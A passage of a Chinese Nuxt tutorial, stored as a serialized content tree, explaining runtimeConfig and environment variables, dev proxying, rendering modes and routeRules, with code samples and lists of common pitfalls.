opts)",[84,11115,11116,11117,655,11120,655,11122,5149],{},"接口级缓存（",[22,11118,11119],{},"maxAge",[22,11121,9705],{},[22,11123,11124],{},"variables",[63,11126,11127,11132],{},[84,11128,11129],{},[22,11130,11131],{},"event.context",[84,11133,11134],{},"本次请求的上下文（可挂东西，跨中间件传值）",[48,11136,11138,11139],{"id":11137},"八运行时配置与环境变量runtimeconfig","八、运行时配置与环境变量：",[22,11140,11141],{},"runtimeConfig",[11,11143,11144,11145,4809,11147,161],{},"「同一个包，跑在开发\u002F测试\u002F生产三套环境」——这件事必须由配置层解决，而不是改代码。Nuxt 的答案是 ",[22,11146,11141],{},[22,11148,11149],{},".env",[53,11151,11153],{"id":11152},"一份配置两种可见性","一份配置，两种可见性",[308,11155,11157],{"className":5205,"code":11156,"language":5207,"meta":314,"style":314},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  runtimeConfig: {\n    \u002F\u002F 只有服务端能读到（Nitro handler、SSR 阶段的代码）\n    dbUrl: '',\n    apiSecret: '',\n    \u002F\u002F 以 public 开头的会进客户端产物（构建时被替换成实际值）\n    public: {\n      apiBase: '\u002Fapi',\n      siteName: '码上智能',\n      mapKey: ''\n    }\n  }\n})\n",[22,11158,11159,11163,11173,11178,11183,11192,11201,11206,11211,11220,11230,11238,11242,11246],{"__ignoreMap":314},[331,11160,11161],{"class":333,"line":334},[331,11162,5214],{"class":1003},[331,11164,11165,11167,11169,11171],{"class":333,"line":341},[331,11166,5219],{"class":616},[331,11168,5222],{"class":616},[331,11170,5225],{"class":501},[331,11172,1250],{"class":337},[331,11174,11175],{"class":333,"line":357},[331,11176,11177],{"class":337},"  runtimeConfig: {\n",[331,11179,11180],{"class":333,"line":371},[331,11181,11182],{"class":1003},"    \u002F\u002F 只有服务端能读到（Nitro handler、SSR 阶段的代码）\n",[331,11184,11185,11188,11190],{"class":333,"line":384},[331,11186,11187],{"class":337},"    dbUrl: ",[331,11189,9164],{"class":365},[331,11191,354],{"class":337},[331,11193,11194,11197,11199],{"class":333,"line":397},[331,11195,11196],{"class":337},"    apiSecret: ",[331,11198,9164],{"class":365},[331,11200,354],{"class":337},[331,11202,11203],{"class":333,"line":418},[331,11204,11205],{"class":1003},"    \u002F\u002F 以 public 开头的会进客户端产物（构建时被替换成实际值）\n",[331,11207,11208],{"class":333,"line":427},[331,11209,11210],{"class":337},"    public: {\n",[331,11212,11213,11216,11218],{"class":333,"line":439},[331,11214,11215],{"class":337},"      apiBase: ",[331,11217,9278],{"class":365},[331,11219,354],{"class":337},[331,11221,11222,11225,11228],{"class":333,"line":450},[331,11223,11224],{"class":337},"      siteName: ",[331,11226,11227],{"class":365},"'码上智能'",[331,11229,354],{"class":337},[331,11231,11232,11235],{"class":333,"line":456},[331,11233,11234],{"class":337},"      mapKey: ",[331,11236,11237],{"class":365},"''\n",[331,11239,11240],{"class":333,"line":775},[331,11241,1229],{"class":337},[331,11243,11244],{"class":333,"line":785},[331,11245,453],{"class":337},[331,11247,11248],{"class":333,"line":795},[331,11249,5399],{"class":337},[308,11251,11253],{"className":3902,"code":11252,"language":3904,"meta":314,"style":314},"# .env（本地开发用；生产由部署环境注入，别把 .env 提交进仓库）\nNUXT_DB_URL=postgres:\u002F\u002Fuser:pass@127.0.0.1:5432\u002Fshop\nNUXT_PUBLIC_API_BASE=https:\u002F\u002Fapi.yoursite.com\nNUXT_PUBLIC_MAP_KEY=abc123\n",[22,11254,11255,11260,11270,11280],{"__ignoreMap":314},[331,11256,11257],{"class":333,"line":334},[331,11258,11259],{"class":1003},"# .env（本地开发用；生产由部署环境注入，别把 .env 提交进仓库）\n",[331,11261,11262,11265,11267],{"class":333,"line":341},[331,11263,11264],{"class":337},"NUXT_DB_URL",[331,11266,518],{"class":616},[331,11268,11269],{"class":365},"postgres:\u002F\u002Fuser:pass@127.0.0.1:5432\u002Fshop\n",[331,11271,11272,11275,11277],{"class":333,"line":357},[331,11273,11274],{"class":337},"NUXT_PUBLIC_API_BASE",[331,11276,518],{"class":616},[331,11278,11279],{"class":365},"https:\u002F\u002Fapi.yoursite.com\n",[331,11281,11282,11285,11287],{"class":333,"line":371},[331,11283,11284],{"class":337},"NUXT_PUBLIC_MAP_KEY",[331,11286,518],{"class":616},[331,11288,11289],{"class":365},"abc123\n",[11,11291,11292,11293,11302,11303,11306],{},"命名规则固定：",[17,11294,11295,11297,11298,11301],{},[22,11296,11141],{}," 里的字段名 → 环境变量名 = ",[22,11299,11300],{},"NUXT_"," + 大写下划线","；嵌套就是 ",[22,11304,11305],{},"NUXT_PUBLIC_XXX","。这个映射是自动的，不需要手写对应关系。",[53,11308,11309],{"id":11309},"读取",[308,11311,11313],{"className":5205,"code":11312,"language":5207,"meta":314,"style":314},"\u002F\u002F app 侧（组件\u002F组合式函数）\nconst cfg = useRuntimeConfig()\ncfg.public.apiBase          \u002F\u002F ✓ 有\ncfg.dbUrl                   \u002F\u002F ✗ 客户端拿到 undefined（SSR 阶段能读到）\n\n\u002F\u002F server 侧\nexport default defineEventHandler(() => {\n  const cfg = useRuntimeConfig()\n  return query(cfg.dbUrl)   \u002F\u002F ✓ 密钥只在服务端出现\n})\n",[22,11314,11315,11320,11334,11342,11350,11354,11359,11373,11385,11397],{"__ignoreMap":314},[331,11316,11317],{"class":333,"line":334},[331,11318,11319],{"class":1003},"\u002F\u002F app 侧（组件\u002F组合式函数）\n",[331,11321,11322,11324,11327,11329,11332],{"class":333,"line":341},[331,11323,951],{"class":616},[331,11325,11326],{"class":344}," cfg",[331,11328,957],{"class":616},[331,11330,11331],{"class":501}," useRuntimeConfig",[331,11333,1540],{"class":337},[331,11335,11336,11339],{"class":333,"line":357},[331,11337,11338],{"class":337},"cfg.public.apiBase          ",[331,11340,11341],{"class":1003},"\u002F\u002F ✓ 有\n",[331,11343,11344,11347],{"class":333,"line":371},[331,11345,11346],{"class":337},"cfg.dbUrl                   ",[331,11348,11349],{"class":1003},"\u002F\u002F ✗ 客户端拿到 undefined（SSR 阶段能读到）\n",[331,11351,11352],{"class":333,"line":384},[331,11353,998],{"emptyLinePlaceholder":997},[331,11355,11356],{"class":333,"line":397},[331,11357,11358],{"class":1003},"\u002F\u002F server 侧\n",[331,11360,11361,11363,11365,11367,11369,11371],{"class":333,"line":418},[331,11362,5219],{"class":616},[331,11364,5222],{"class":616},[331,11366,9630],{"class":501},[331,11368,1486],{"class":337},[331,11370,1489],{"class":616},[331,11372,1100],{"class":337},[331,11374,11375,11377,11379,11381,11383],{"class":333,"line":427},[331,11376,1496],{"class":616},[331,11378,11326],{"class":344},[331,11380,957],{"class":616},[331,11382,11331],{"class":501},[331,11384,1540],{"class":337},[331,11386,11387,11389,11391,11394],{"class":333,"line":439},[331,11388,1633],{"class":616},[331,11390,10442],{"class":501},[331,11392,11393],{"class":337},"(cfg.dbUrl)   ",[331,11395,11396],{"class":1003},"\u002F\u002F ✓ 密钥只在服务端出现\n",[331,11398,11399],{"class":333,"line":450},[331,11400,5399],{"class":337},[11,11402,11403,11404,11410,11411,11414],{},"关键认知：",[17,11405,11406,11409],{},[22,11407,11408],{},"public.*"," 的值在构建期就被写死进产物","。用户 ",[22,11412,11413],{},"Ctrl+U"," 查看 JS 文件就能读到它。所以「公开的配置」不等于「不敏感的配置」，而是「即使被看到也没关系的」——站点名、公开接口地址可以；任何能花钱或被刷的东西不行。",[53,11416,11417],{"id":11417},"开发期跨域代理",[11,11419,11420],{},"前端调本机另一个后端（比如 Java 服务在 8080）时，用 dev 代理避免 CORS：",[308,11422,11424],{"className":5205,"code":11423,"language":5207,"meta":314,"style":314},"export default defineNuxtConfig({\n  vite: {\n    server: {\n      proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }\n    }\n  }\n})\n",[22,11425,11426,11436,11441,11446,11467,11471,11475],{"__ignoreMap":314},[331,11427,11428,11430,11432,11434],{"class":333,"line":334},[331,11429,5219],{"class":616},[331,11431,5222],{"class":616},[331,11433,5225],{"class":501},[331,11435,1250],{"class":337},[331,11437,11438],{"class":333,"line":341},[331,11439,11440],{"class":337},"  vite: {\n",[331,11442,11443],{"class":333,"line":357},[331,11444,11445],{"class":337},"    server: {\n",[331,11447,11448,11451,11453,11456,11459,11462,11464],{"class":333,"line":371},[331,11449,11450],{"class":337},"      proxy: { ",[331,11452,9278],{"class":365},[331,11454,11455],{"class":337},": { target: ",[331,11457,11458],{"class":365},"'http:\u002F\u002Flocalhost:8080'",[331,11460,11461],{"class":337},", changeOrigin: ",[331,11463,1131],{"class":344},[331,11465,11466],{"class":337}," } }\n",[331,11468,11469],{"class":333,"line":384},[331,11470,1229],{"class":337},[331,11472,11473],{"class":333,"line":397},[331,11474,453],{"class":337},[331,11476,11477],{"class":333,"line":418},[331,11478,5399],{"class":337},[11,11480,11481,11487,11488,11490],{},[17,11482,11483,11484,11486],{},"这条只在 ",[22,11485,5058],{}," 有效。"," 生产环境必须由 Nginx\u002F网关把 ",[22,11489,10320],{}," 反代到后端（第十三章），否则线上 404——这是「本地一切正常，上线接口全挂」的经典成因。",[53,11492,4796],{"id":11493},"️-本章的坑-7",[11,11495,11496,11502,11503,161],{},[17,11497,11498,11499,161],{},"1. 把密钥写进 ",[22,11500,11501],{},"public"," 它会被打进前端包。写完检查一遍产物：",[22,11504,11505],{},"grep -r \"sk-\" .output\u002Fpublic\u002F_nuxt\u002F",[11,11507,11508,268,11511,5664,11514,11516,11517,11519,11520,11522],{},[17,11509,11510],{},"2. 在客户端读非 public 字段。",[22,11512,11513],{},"cfg.dbUrl",[22,11515,5872],{},"，报错信息常是「undefined is not an object」，很难联想到环境变量。规则：非 ",[22,11518,11501],{}," 字段只在 ",[22,11521,4849],{}," 和 SSR 阶段用。",[11,11524,11525,268,11528,11531],{},[17,11526,11527],{},"3. 环境变量名打错没报错。",[22,11529,11530],{},"NUXT_DB_URl"," 这类拼写错误不会提示，读到空串。给配置加显式校验：",[308,11533,11535],{"className":5205,"code":11534,"language":5207,"meta":314,"style":314},"if (!process.env.NUXT_DB_URL) throw new Error('缺少 NUXT_DB_URL')\n",[22,11536,11537],{"__ignoreMap":314},[331,11538,11539,11542,11544,11546,11549,11551,11553,11555,11557,11559,11561,11564],{"class":333,"line":334},[331,11540,11541],{"class":616},"if",[331,11543,1147],{"class":337},[331,11545,1150],{"class":616},[331,11547,11548],{"class":337},"process.env.",[331,11550,11264],{"class":344},[331,11552,3180],{"class":337},[331,11554,2507],{"class":616},[331,11556,1214],{"class":616},[331,11558,1217],{"class":501},[331,11560,966],{"class":337},[331,11562,11563],{"class":365},"'缺少 NUXT_DB_URL'",[331,11565,972],{"class":337},[11,11567,11568,11573,11574,11577,11578,11581],{},[17,11569,7689,11570,11572],{},[22,11571,11149],{}," 提交进仓库。"," 至少要在 ",[22,11575,11576],{},".gitignore"," 里排除，并给一份 ",[22,11579,11580],{},".env.example"," 列出需要哪些键（不含值）。",[11,11583,11584,11590,11591,1677,11593,11595],{},[17,11585,11586,11587,11589],{},"5. 以为改了 ",[22,11588,11149],{}," 就生效。"," 需要重启 dev server；生产要重启进程。",[22,11592,4569],{},[22,11594,11501],{}," 值已经烧进产物，改环境变量必须重新 generate。",[11,11597,11598,11603,11604,11607],{},[17,11599,11600,11601,161],{},"6. 静态产物里改不了 ",[22,11602,11408],{}," 这是「一次构建多处部署」的障碍。解法：把可变配置改成运行时接口（",[22,11605,11606],{},"\u002Fapi\u002Fconfig","），或在部署脚本里做字符串替换。",[11,11609,11610,11617,11618,11621,11622,11626],{},[17,11611,5772,11612,5160,11615,6671],{},[22,11613,11614],{},"import.meta.env",[22,11616,10750],{}," 前者是 Vite 层的构建期常量（",[22,11619,11620],{},"VITE_*","，前端可读），后者是 Nuxt 层的运行时配置（服务端可读、可被环境变量覆盖）。",[17,11623,3773,11624],{},[22,11625,11141],{},"：一套写法同时覆盖服务端和客户端。",[11,11628,11629,11640,11641,11643,11644,4813],{},[17,11630,11631,11632,11634,11635,11637,11638,161],{},"8. 在 ",[22,11633,4590],{}," 里直接读 ",[22,11636,10754],{}," 拼进 ",[22,11639,11141],{}," 可以，但别忘了构建机上没有生产环境变量，产物里就固化成空串——正确姿势是让 ",[22,11642,11141],{}," 字段留空，由运行期环境变量填充（",[22,11645,11646],{},"NUXT_XXX",[53,11648,11650],{"id":11649},"附配置来源优先级","附：配置来源优先级",[57,11652,11653,11669],{},[60,11654,11655],{},[63,11656,11657,11660,11663,11666],{},[66,11658,11659],{},"来源",[66,11661,11662],{},"时机",[66,11664,11665],{},"客户端可见",[66,11667,11668],{},"典型用途",[79,11670,11671,11687,11704,11721,11736,11751],{},[63,11672,11673,11678,11681,11684],{},[84,11674,11675],{},[22,11676,11677],{},"runtimeConfig.public.*",[84,11679,11680],{},"构建期固化",[84,11682,11683],{},"✓",[84,11685,11686],{},"公开 API 地址、站点名、开关",[63,11688,11689,11695,11698,11701],{},[84,11690,11691,11694],{},[22,11692,11693],{},"runtimeConfig.*","（非 public）",[84,11696,11697],{},"运行期读环境变量",[84,11699,11700],{},"✗",[84,11702,11703],{},"数据库、第三方密钥",[63,11705,11706,11712,11715,11718],{},[84,11707,11708,11711],{},[22,11709,11710],{},"NUXT_*"," 环境变量",[84,11713,11714],{},"部署平台注入",[84,11716,11717],{},"视是否 public",[84,11719,11720],{},"分环境差异",[63,11722,11723,11728,11731,11733],{},[84,11724,11725],{},[22,11726,11727],{},"import.meta.env.VITE_*",[84,11729,11730],{},"构建期常量",[84,11732,11683],{},[84,11734,11735],{},"构建模式、非敏感常量",[63,11737,11738,11743,11746,11748],{},[84,11739,11740,11741],{},"服务端 ",[22,11742,11606],{},[84,11744,11745],{},"运行期请求",[84,11747,11683],{},[84,11749,11750],{},"需要「同一份产物改配置」的场景",[63,11752,11753,11760,11763,11765],{},[84,11754,11755,4839,11758,5149],{},[22,11756,11757],{},"app.config",[22,11759,5519],{},[84,11761,11762],{},"构建期",[84,11764,11683],{},[84,11766,11767],{},"UI 常量（主题色、菜单结构），不可被环境变量覆盖",[48,11769,11771,11772,11774],{"id":11770},"九渲染模式与-routerules同一站点里不同页面用不同策略","九、渲染模式与 ",[22,11773,4586],{},"：同一站点里不同页面用不同策略",[11,11776,11777,11778,11781,11782,161],{},"前面反复出现「SSR」和「generate」。这一节把它们讲成可以",[17,11779,11780],{},"按路径","配置的东西：",[22,11783,4586],{},[53,11785,11786],{"id":11786},"四个开关",[308,11788,11790],{"className":5205,"code":11789,"language":5207,"meta":314,"style":314},"export default defineNuxtConfig({\n  ssr: true,                                    \u002F\u002F 全站默认：服务端渲染\n  nitro: { prerender: { crawlLinks: true, routes: ['\u002F', '\u002Fabout'] } },   \u002F\u002F 构建期出 HTML\n  routeRules: {\n    '\u002Fadmin\u002F**':    { ssr: false },                     \u002F\u002F 这个子树走纯客户端（SPA）\n    '\u002Fblog\u002F**':     { prerender: true },                \u002F\u002F 构建期生成静态 HTML\n    '\u002Fproducts\u002F**': { swr: 60 },                        \u002F\u002F 缓存 60s，过期后台刷新\n    '\u002Fapi\u002Fsearch':  { cors: true, headers: { 'cache-control': 'no-store' } },\n    '\u002Fold-path':    { redirect: '\u002Fnew-path' },          \u002F\u002F 301（写 { to, code } 改状态码）\n    '\u002Flegacy\u002F**':   { proxy: 'https:\u002F\u002Fold.example.com\u002F**' },\n    '\u002Fprivacy':     { isr: true }                       \u002F\u002F 平台按需 ISR（Vercel\u002FNetlify 等）\n  }\n})\n",[22,11791,11792,11802,11814,11837,11842,11858,11874,11890,11913,11930,11943,11959,11963],{"__ignoreMap":314},[331,11793,11794,11796,11798,11800],{"class":333,"line":334},[331,11795,5219],{"class":616},[331,11797,5222],{"class":616},[331,11799,5225],{"class":501},[331,11801,1250],{"class":337},[331,11803,11804,11806,11808,11811],{"class":333,"line":341},[331,11805,5260],{"class":337},[331,11807,1131],{"class":344},[331,11809,11810],{"class":337},",                                    ",[331,11812,11813],{"class":1003},"\u002F\u002F 全站默认：服务端渲染\n",[331,11815,11816,11819,11821,11824,11826,11828,11831,11834],{"class":333,"line":357},[331,11817,11818],{"class":337},"  nitro: { prerender: { crawlLinks: ",[331,11820,1131],{"class":344},[331,11822,11823],{"class":337},", routes: [",[331,11825,5345],{"class":365},[331,11827,409],{"class":337},[331,11829,11830],{"class":365},"'\u002Fabout'",[331,11832,11833],{"class":337},"] } },   ",[331,11835,11836],{"class":1003},"\u002F\u002F 构建期出 HTML\n",[331,11838,11839],{"class":333,"line":371},[331,11840,11841],{"class":337},"  routeRules: {\n",[331,11843,11844,11847,11850,11852,11855],{"class":333,"line":384},[331,11845,11846],{"class":365},"    '\u002Fadmin\u002F**'",[331,11848,11849],{"class":337},":    { ssr: ",[331,11851,3193],{"class":344},[331,11853,11854],{"class":337}," },                     ",[331,11856,11857],{"class":1003},"\u002F\u002F 这个子树走纯客户端（SPA）\n",[331,11859,11860,11863,11866,11868,11871],{"class":333,"line":397},[331,11861,11862],{"class":365},"    '\u002Fblog\u002F**'",[331,11864,11865],{"class":337},":     { prerender: ",[331,11867,1131],{"class":344},[331,11869,11870],{"class":337}," },                ",[331,11872,11873],{"class":1003},"\u002F\u002F 构建期生成静态 HTML\n",[331,11875,11876,11879,11882,11884,11887],{"class":333,"line":418},[331,11877,11878],{"class":365},"    '\u002Fproducts\u002F**'",[331,11880,11881],{"class":337},": { swr: ",[331,11883,10595],{"class":344},[331,11885,11886],{"class":337}," },                        ",[331,11888,11889],{"class":1003},"\u002F\u002F 缓存 60s，过期后台刷新\n",[331,11891,11892,11895,11898,11900,11903,11905,11907,11910],{"class":333,"line":427},[331,11893,11894],{"class":365},"    '\u002Fapi\u002Fsearch'",[331,11896,11897],{"class":337},":  { cors: ",[331,11899,1131],{"class":344},[331,11901,11902],{"class":337},", headers: { ",[331,11904,10545],{"class":365},[331,11906,348],{"class":337},[331,11908,11909],{"class":365},"'no-store'",[331,11911,11912],{"class":337}," } },\n",[331,11914,11915,11918,11921,11924,11927],{"class":333,"line":439},[331,11916,11917],{"class":365},"    '\u002Fold-path'",[331,11919,11920],{"class":337},":    { redirect: ",[331,11922,11923],{"class":365},"'\u002Fnew-path'",[331,11925,11926],{"class":337}," },          ",[331,11928,11929],{"class":1003},"\u002F\u002F 301（写 { to, code } 改状态码）\n",[331,11931,11932,11935,11938,11941],{"class":333,"line":450},[331,11933,11934],{"class":365},"    '\u002Flegacy\u002F**'",[331,11936,11937],{"class":337},":   { proxy: ",[331,11939,11940],{"class":365},"'https:\u002F\u002Fold.example.com\u002F**'",[331,11942,5251],{"class":337},[331,11944,11945,11948,11951,11953,11956],{"class":333,"line":456},[331,11946,11947],{"class":365},"    '\u002Fprivacy'",[331,11949,11950],{"class":337},":     { isr: ",[331,11952,1131],{"class":344},[331,11954,11955],{"class":337}," }                       ",[331,11957,11958],{"class":1003},"\u002F\u002F 平台按需 ISR（Vercel\u002FNetlify 等）\n",[331,11960,11961],{"class":333,"line":775},[331,11962,453],{"class":337},[331,11964,11965],{"class":333,"line":785},[331,11966,5399],{"class":337},[57,11968,11969,11988],{},[60,11970,11971],{},[63,11972,11973,11976,11979,11982,11985],{},[66,11974,11975],{},"模式",[66,11977,11978],{},"配置",[66,11980,11981],{},"首屏 HTML 有正文",[66,11983,11984],{},"服务器要跑 Node",[66,11986,11987],{},"适合",[79,11989,11990,12009,12027,12049,12066],{},[63,11991,11992,11995,12001,12003,12006],{},[84,11993,11994],{},"SSR",[84,11996,11997,11998,5149],{},"默认（",[22,11999,12000],{},"ssr: true",[84,12002,11683],{},[84,12004,12005],{},"要",[84,12007,12008],{},"内容随请求变化、需要 SEO",[63,12010,12011,12014,12019,12021,12024],{},[84,12012,12013],{},"SPA",[84,12015,12016,12018],{},[22,12017,4822],{},"（全站或路由级）",[84,12020,11700],{},[84,12022,12023],{},"可不要（纯发静态文件时）",[84,12025,12026],{},"后台系统、登录后的界面",[63,12028,12029,12032,12039,12041,12046],{},[84,12030,12031],{},"SSG",[84,12033,12034,1901,12036],{},[22,12035,4579],{},[22,12037,12038],{},"{ prerender: true }",[84,12040,11683],{},[84,12042,12043,5106],{},[17,12044,12045],{},"不要",[84,12047,12048],{},"博客、文档、营销页（本站就是这个模式）",[63,12050,12051,12054,12059,12061,12063],{},[84,12052,12053],{},"SWR",[84,12055,12056],{},[22,12057,12058],{},"{ swr: 60 }",[84,12060,11683],{},[84,12062,12005],{},[84,12064,12065],{},"内容变化不敏感、想挡住突发流量",[63,12067,12068,12071,12076,12078,12081],{},[84,12069,12070],{},"ISR",[84,12072,12073],{},[22,12074,12075],{},"{ isr: true }",[84,12077,11683],{},[84,12079,12080],{},"平台决定",[84,12082,12083],{},"部署在支持按需再生成的托管平台",[53,12085,12087],{"id":12086},"匹配优先级越具体越优先","匹配优先级：越具体越优先",[11,12089,12090,12091,12094,12095,12098,12099,12102,12103,12106],{},"多条规则命中同一个 URL 时，按路径",[17,12092,12093],{},"精确度","排序：",[22,12096,12097],{},"\u002Fblog\u002Fhello"," 精确规则 > ",[22,12100,12101],{},"\u002Fblog\u002F**"," > ",[22,12104,12105],{},"\u002F**","。所以「给全站设默认，再覆盖某几个路径」是能成立的——但反着写会翻车：",[308,12108,12110],{"className":5205,"code":12109,"language":5207,"meta":314,"style":314},"routeRules: {\n  '\u002F**': { ssr: false },              \u002F\u002F ← 全站关掉 SSR\n  '\u002Fblog\u002F**': { prerender: true }     \u002F\u002F 仍然会预渲染，但 ssr:false 让产物是空壳！\n}\n",[22,12111,12112,12118,12134,12150],{"__ignoreMap":314},[331,12113,12114,12116],{"class":333,"line":334},[331,12115,4586],{"class":501},[331,12117,424],{"class":337},[331,12119,12120,12123,12126,12128,12131],{"class":333,"line":341},[331,12121,12122],{"class":365},"  '\u002F**'",[331,12124,12125],{"class":337},": { ssr: ",[331,12127,3193],{"class":344},[331,12129,12130],{"class":337}," },              ",[331,12132,12133],{"class":1003},"\u002F\u002F ← 全站关掉 SSR\n",[331,12135,12136,12139,12142,12144,12147],{"class":333,"line":357},[331,12137,12138],{"class":365},"  '\u002Fblog\u002F**'",[331,12140,12141],{"class":337},": { prerender: ",[331,12143,1131],{"class":344},[331,12145,12146],{"class":337}," }     ",[331,12148,12149],{"class":1003},"\u002F\u002F 仍然会预渲染，但 ssr:false 让产物是空壳！\n",[331,12151,12152],{"class":333,"line":371},[331,12153,459],{"class":337},[11,12155,12156,12157,12160],{},"这类组合的后果很隐蔽：",[17,12158,12159],{},"预渲染出来的是不含正文的 HTML","。示例 07 的「URL 判定器」就是让你手动改一下顺序、亲眼看结论怎么翻转。",[53,12162,12164],{"id":12163},"什么时候真的需要-ssr","什么时候真的需要 SSR",[11,12166,12167],{},"三条判断，任何一条成立才值得留服务端：",[1659,12169,12170,12173,12176],{},[1662,12171,12172],{},"未登录用户能看到的内容需要被索引（首屏正文必须在 HTML 里）。",[1662,12174,12175],{},"数据必须按请求计算（价格、库存、权限）。",[1662,12177,12178],{},"首屏时间对业务指标有直接影响，且接口足够快。",[11,12180,12181,12182,12184],{},"都不成立时 ",[22,12183,4822],{}," 更省：部署是纯静态文件、服务器不跑 Node，也不会遇到「SSR 阶段 window is not defined」（第五章第 2 条）。",[4748,12186],{"height":4750,"src":12187,"title":12188},"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F07-render-modes.html","示例 07：五种渲染模式对照与 routeRules 判定器",[53,12190,4796],{"id":12191},"️-本章的坑-8",[11,12193,12194,12199],{},[17,12195,8723,12196,12198],{},[22,12197,4822],{}," 之后 SEO 归零。"," 产物 HTML 是空壳。别以为「反正有水合」——爬虫与分享卡片读的是源码（示例 01 有对照）。",[11,12201,12202,12210,12211,12214,12215,161],{},[17,12203,5672,12204,4809,12207,12209],{},[22,12205,12206],{},"prerender: true",[22,12208,4822],{}," 同时命中。"," 生成空壳静态页（上面那段代码）。要么去掉 ",[22,12212,12213],{},"\u002F**: { ssr: false }","，要么给需要预渲染的路径显式合并写 ",[22,12216,12217],{},"{ prerender: true, ssr: true }",[11,12219,12220,268,12223,12226,12227,12232,12233,12236,12237,12240,12241,12244,12245,12247,12248,4813],{},[17,12221,12222],{},"3. 预渲染没覆盖所有路由。",[22,12224,12225],{},"crawlLinks"," 只沿",[17,12228,12229,12230],{},"页面里的 ",[22,12231,6099],{}," 爬。没有链接指向的页面（只在 sitemap 里、或列表第二页）不会生成，",[22,12234,12235],{},"generate"," 后访问就是 404。解法：",[22,12238,12239],{},"nitro.prerender.routes"," 显式列，或让列表页给出全部链接。本站的工具页是手工维护一份清单进 ",[22,12242,12243],{},"routes"," 的（",[22,12246,4590],{}," 里的 ",[22,12249,12250],{},"TOOL_PRERENDER_ROUTES",[11,12252,12253,268,12256,12258,12259,12261,12262,6745,12265,161],{},[17,12254,12255],{},"4. 预渲染阶段接口必须可用。",[22,12257,12235],{}," 时页面里每个 ",[22,12260,5482],{}," 都会真的执行。若接口依赖登录态或外部服务，构建要么失败、要么把「未登录」的空数据固化进 HTML。这类页面改成 ",[22,12263,12264],{},"{ ssr: false }",[22,12266,12267],{},"{ prerender: false }",[11,12269,12270,12277,12278,12281],{},[17,12271,9903,12272,655,12274,12276],{},[22,12273,9705],{},[22,12275,10882],{}," 依赖缓存存储。"," 默认是内存缓存，多实例部署各节点一份、命中率与一致性都差。要一致请配 ",[22,12279,12280],{},"nitro: { storage: { cache: … } }","（Redis 等）。",[11,12283,12284,12287,12288],{},[17,12285,12286],{},"6. 动态路由的预渲染要自己提供数据源。"," 原则：",[17,12289,12290],{},"能爬到的就不用列，爬不到的才列。",[308,12292,12294],{"className":5205,"code":12293,"language":5207,"meta":314,"style":314},"nitro: {\n  prerender: {\n    crawlLinks: true,\n    routes: async () => {\n      const { data } = await $fetch('https:\u002F\u002Fapi.example.com\u002Fsitemap-urls')\n      return data.map((u) => u.path)\n    }\n  }\n}\n",[22,12295,12296,12303,12310,12321,12336,12360,12382,12386,12390],{"__ignoreMap":314},[331,12297,12298,12301],{"class":333,"line":334},[331,12299,12300],{"class":501},"nitro",[331,12302,424],{"class":337},[331,12304,12305,12308],{"class":333,"line":341},[331,12306,12307],{"class":501},"  prerender",[331,12309,424],{"class":337},[331,12311,12312,12315,12317,12319],{"class":333,"line":357},[331,12313,12314],{"class":501},"    crawlLinks",[331,12316,348],{"class":337},[331,12318,1131],{"class":344},[331,12320,354],{"class":337},[331,12322,12323,12326,12328,12330,12332,12334],{"class":333,"line":371},[331,12324,12325],{"class":501},"    routes",[331,12327,348],{"class":337},[331,12329,1063],{"class":616},[331,12331,7268],{"class":337},[331,12333,1489],{"class":616},[331,12335,1100],{"class":337},[331,12337,12338,12341,12343,12345,12347,12349,12351,12353,12355,12358],{"class":333,"line":384},[331,12339,12340],{"class":616},"      const",[331,12342,605],{"class":337},[331,12344,5868],{"class":344},[331,12346,2599],{"class":337},[331,12348,518],{"class":616},[331,12350,1119],{"class":616},[331,12352,8327],{"class":501},[331,12354,966],{"class":337},[331,12356,12357],{"class":365},"'https:\u002F\u002Fapi.example.com\u002Fsitemap-urls'",[331,12359,972],{"class":337},[331,12361,12362,12365,12368,12370,12372,12375,12377,12379],{"class":333,"line":397},[331,12363,12364],{"class":616},"      return",[331,12366,12367],{"class":337}," data.",[331,12369,10198],{"class":501},[331,12371,3175],{"class":337},[331,12373,12374],{"class":2472},"u",[331,12376,3180],{"class":337},[331,12378,1489],{"class":616},[331,12380,12381],{"class":337}," u.path)\n",[331,12383,12384],{"class":333,"line":418},[331,12385,1229],{"class":337},[331,12387,12388],{"class":333,"line":427},[331,12389,453],{"class":337},[331,12391,12392],{"class":333,"line":439},[331,12393,459],{"class":337},[11,12395,12396,12404,12405,12408,12409,161],{},[17,12397,5772,12398,12400,12401,12403],{},[22,12399,4586],{}," 里写的 ",[22,12402,9047],{}," 与 Nginx 设的头冲突。"," 最终结果取决于先后。排查顺序：先 ",[22,12406,12407],{},"curl -I"," 看框架输出，再看 Nginx ",[22,12410,12411],{},"add_header",[11,12413,12414,268,12417,12419,12420,12422],{},[17,12415,12416],{},"8. 渲染模式与服务端中间件的期望不一致。",[22,12418,12264],{}," 的路由上，服务端不会为页面渲染执行（但 ",[22,12421,10320],{}," 仍会）。别指望用服务端中间件给 SPA 页面「注入用户信息」。",[11,12424,12425,12431,12432,12434],{},[17,12426,12427,12428,12430],{},"9. 以为 ",[22,12429,4586],{}," 能改客户端行为。"," 它管的是服务端\u002F构建阶段的策略；组件里的 ",[22,12433,6734],{}," 照旧只在浏览器跑。",[53,12436,9980,12438,12440],{"id":12437},"附routerules-常用字段",[22,12439,4586],{}," 常用字段",[57,12442,12443,12453],{},[60,12444,12445],{},[63,12446,12447,12449,12451],{},[66,12448,1872],{},[66,12450,8896],{},[66,12452,7759],{},[79,12454,12455,12467,12479,12491,12503,12518,12534,12546,12561,12573,12585,12600],{},[63,12456,12457,12462,12464],{},[84,12458,12459],{},[22,12460,12461],{},"ssr",[84,12463,8922],{},[84,12465,12466],{},"该路径是否服务端渲染",[63,12468,12469,12474,12476],{},[84,12470,12471],{},[22,12472,12473],{},"prerender",[84,12475,8922],{},[84,12477,12478],{},"构建期生成静态 HTML",[63,12480,12481,12485,12488],{},[84,12482,12483],{},[22,12484,9705],{},[84,12486,12487],{},"number\u002Ftrue",[84,12489,12490],{},"stale-while-revalidate 缓存秒数",[63,12492,12493,12497,12500],{},[84,12494,12495],{},[22,12496,10882],{},[84,12498,12499],{},"boolean\u002Fnumber",[84,12501,12502],{},"增量静态再生成（托管平台）",[63,12504,12505,12510,12515],{},[84,12506,12507],{},[22,12508,12509],{},"cache",[84,12511,12512],{},[22,12513,12514],{},"{ maxAge, swr, group, variables 